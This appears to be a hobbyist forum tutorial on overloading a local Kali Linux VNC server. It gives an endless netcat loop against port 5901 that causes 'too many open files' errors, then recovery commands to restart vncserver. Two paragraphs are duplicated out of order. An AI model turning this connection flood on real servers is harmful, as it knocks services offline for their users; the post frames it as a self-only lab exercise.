- Apr 25, 2015
- 1,845
- 2
- 2,199
- 327
A couple things are required:
So at this point, you may begin to notice that if someone attempts a simply "nc localhost 5901", simply they will not connect because of the error being reported on too many open files.

To enable your Kali VNC again, you will have to possibly reload the process like this (first Ctrl+C on the attack Terminal to stop):
Have fun, be safe, good luck.. and only do this to yourself.
- Get Kali Linux in VirtualBox as detailed here: https://ciphers.pw/threads/virtualbox-kali-full-screen.8200/
- Login as normal with root :: toor
- Make sure vncserver is running, for example try "vncserver", you may be prompted for a password try: N0thinghard
- Let's get nmap "apt install nmap -y"
- Now run "nmap localhost" you should see 5901/tcp open.
- "pkill nc" in case you have any nc running, stop this.
- Have two Terminal windows open separately.
- In one: "cd /root/.vnc/" now "tail -f *log"
- In your separate Terminal, try this beautiful loop "while :; do nc localhost 5901 & sleep 0.01; done"
So at this point, you may begin to notice that if someone attempts a simply "nc localhost 5901", simply they will not connect because of the error being reported on too many open files.

To enable your Kali VNC again, you will have to possibly reload the process like this (first Ctrl+C on the attack Terminal to stop):
Code:
nc localhost 5901 #This will attempt a connection and likely be refused if your log file shows the file open error
pkill vnc #terminate the VNC process since this is hanging
pkill nc #stop the nc attack processes, terminate them
vncserver #Launch the vncserver back so we can now connection and perhaps retry the attack again?!
Have fun, be safe, good luck.. and only do this to yourself.
Last edited: